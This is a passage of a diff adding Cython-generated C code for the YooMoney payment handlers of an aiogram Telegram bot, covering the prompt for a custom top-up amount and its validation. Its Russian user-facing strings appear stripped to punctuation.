__pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3, __pyx_codeobj__14, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":175 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":176 + * ): + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__15) < 0) __PYX_ERR(0, 176, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yoomoney) < 0) __PYX_ERR(0, 176, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":178 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":180 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yoomoney_pay.py":178 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__17, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 178, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 178, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":183 + * ) + * + * await state.set_state(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_yoomoney); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 183, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 183, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 186, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 186, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 186, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 186, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 186, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_12process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 186, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4, __pyx_codeobj__18, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + Py_ssize_t __pyx_t_7; + Py_UCS4 __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L9_resume_from_await; + case 5: goto __pyx_L10_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 186, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":188 + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yoomoney_pay.py":189 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":190 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yoomoney_pay.py":191 + * amount = int(message.text) + * if amount <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * " . , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__19}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + 